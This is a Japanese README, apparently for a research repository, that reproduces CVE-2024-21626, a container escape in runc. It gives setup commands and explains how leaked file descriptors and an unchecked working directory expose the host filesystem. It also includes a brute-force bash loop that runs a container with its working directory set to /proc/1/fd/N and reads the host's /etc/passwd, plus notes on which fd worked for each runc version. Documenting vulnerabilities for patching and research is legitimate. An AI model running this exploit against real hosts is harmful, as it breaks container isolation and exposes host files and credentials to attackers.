
CVE-2024-21626-poc-研究-再現-andtodo
利用:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
検証: ホストの/etc/passwdを取得できれば、この脆弱性が存在します。
環境: runc: >=v1.0.0-rc93,<=1.1.11
攻撃の詳細と原理: runcの影響を受けるバージョンでは、初期化処理中に内部ファイルディスクリプタの一部が漏洩し、ホストの/sys/fs/cgroupへのハンドルが含まれます。また、runcは最終的な作業ディレクトリがコンテナのマウントネームスペース内にあることを確認しません。攻撃者はprocess.cwd設定を/proc/self/fd/7に変更するか、ホストがrunc execを呼び出す際に--cwdパラメータで渡された特定のパスを/proc/self/fd/7/のシンボリックリンクに置き換えることで、コンテナ内のプロセスがホストのファイルシステムにアクセス・操作できるようにし、コンテナの隔離機構を回避します。 詳細(gif画像):

CVE: CVE - CVE-2024-21626 (mitre.org)
この脆弱性の発見者: CVE-2024-21626 runc process.cwd と漏洩した fds によるコンテナエスケープ | Snyk (snyk.io)

実際の fd はファイルを開く順序によって変わる可能性があります。以下のスクリプトを使ってブルートフォースできます。
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
ローカルテスト成功:
fd/9 で実現 runc-version: 1.1.10 1.1.2

runc --version が1.0.0の場合

runc --version が1.1.4の場合 fd/8で実現

本日公開されたばかりの脆弱性です 以下に詳細を説明します
以下の方法で再現できます
TODO: runcのブレークポイントでdfを取得して自動化を実現